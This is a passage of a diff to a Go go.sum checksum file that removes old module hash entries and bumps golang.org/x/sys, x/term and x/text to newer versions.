h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -805,27 +398,18 @@ golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200413165638-669c56c373c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -833,7 +417,6 @@ golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200826173525-f9321e4c35a6/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -841,87 +424,45 @@ golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210225134936-a50acf3fe073/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423185535-09eb48e85fd7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220209214540-3681064d5158/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220708085239-5a0f0661e09d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= -golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= +golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA= +golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= -golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.10.0 h1:3R7pNqamzBraeqj/Tj8qt1aQ2HpmlC+Cx/qL/7hn4/c= +golang.org/x/term v0.10.0/go.mod h1:lpqdcUyK/oCiQxvxVrppt5ggO2KCZ5QblwqPnfZ6d5o= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo= -golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.11.0 h1:LAntKIrcmeSKERyiOh0XMV39LXS8IE9UL2yP7+f5ij4= +golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20201208040808-7e3f01d25324/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190425163242-31fd60d6bfdc/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20190823170909-c4a336ef6a2f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20190907020128-2ca718005c18/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= @@ -929,7 +470,6 @@ golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtn golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= @@ -957,19 +497,10 @@ golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4f golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20210108195828-e2f9c7f1fc8e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= -golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.1.2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.1.3/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20220411194840-2f41105eb62f/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20220517211312-f3a8303e98df/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= @@ -989,27 +520,6 @@ google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz513 google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg= google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE= google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8= -google.golang.org/api v0.41.0/go.mod h1:RkxM5lITDfTzmyKFPt+wGrCJbVfniCr2ool8kTBzRTU= -google.golang.org/api v0.43.0/go.mod h1:nQsDGjRXMo4lvh5hP0TKqF244gqhGcr/YSIykhUk/94= -google.golang.org/api v0.44.0/go.mod h1:EBOGZqzyhtvMDoxwS97ctnh0zUmYY6CxqXsc1AvkYD8= -google.golang.org/api v0.47.0/go.mod h1:Wbvgpq1HddcWVtzsVLyfLp8lDg6AA241LmgIL59tHXo= -google.golang.org/api v0.48.0/go.mod h1:71Pr1vy+TAZRPkPs/xlCf5SsU8WjuAWv1Pfjbtukyy4= -google.golang.org/api v0.50.0/go.mod h1:4bNT5pAuq5ji4SRZm+5QIkjny9JAyVD/3gaSihNefaw= -google.golang.org/api v0.51.0/go.mod h1:t4HdrdoNgyN5cbEfm7Lum0lcLDLiise1F8qDKX00sOU= -google.golang.org/api v0.54.0/go.mod h1:7C4bFFOvVDGXjfDTAsgGwDgAxRDeQ4X8NvUedIt6z3k= -google.golang.org/api v0.55.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE= -google.golang.org/api v0.56.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE= -google.golang.org/api v0.57.0/go.mod h1:dVPlbZyBo2/OjBpmvNdpn2GRm6rPy75jyU7bmhdrMgI= -google.golang.org/api v0.59.0/go.mod h1:sT2boj7M9YJxZzgeZqXogmhfmRWDtPzT31xkieUbuZU= -google.golang.org/api v0.61.0/go.mod h1:xQRti5UdCmoCEqFxcz93fTl338AVqDgyaDRuOZ3hg9I= -google.golang.org/api v0.63.0/go.mod h1:gs4ij2ffTRXwuzzgJl/56BdwJaA194ijkfn++9tDuPo= -google.golang.org/api v0.67.0/go.mod h1:ShHKP8E60yPsKNw/w8w+VYaj9H6buA5UqDp8dhbQZ6g= -google.golang.org/api v0.70.0/go.mod h1:Bs4ZM2HGifEvXwd50TtW70ovgJffJYw2oRCOFU/SkfA= -google.golang.org/api v0.71.0/go.mod h1:4PyU6e6JogV1f9eA4voyrTY2batOLdgZ5qZ5HOCc4j8= -google.golang.org/api v0.74.0/go.mod h1:ZpfMZOVRMywNyvJFeqL9HRWBgAuRfSjJFpe9QtRRyDs= -google.golang.org/api v0.75.0/go.mod h1:pU9QmyHLnzlpar1Mjt4IbapUCy8J+6HD6GeELN69ljA= -google.golang.org/api v0.78.0/go.mod h1:1Sg78yoMLOhlQTeF+ARBoytAcH1NNyyl390YMy6rKmw= -google.golang.org/api v0.81.0/go.mod h1:FA6Mb/bZxj706H2j+j2d6mHEEaHBmbbWnkfvmorOCko= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= @@ -1017,9 +527,7 @@ google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= -google.golang.org/genproto v0.0.0-20180427144745-86e600f69ee4/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= -google.golang.org/genproto v0.0.0-20181107211654-5fc9ac540362/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod 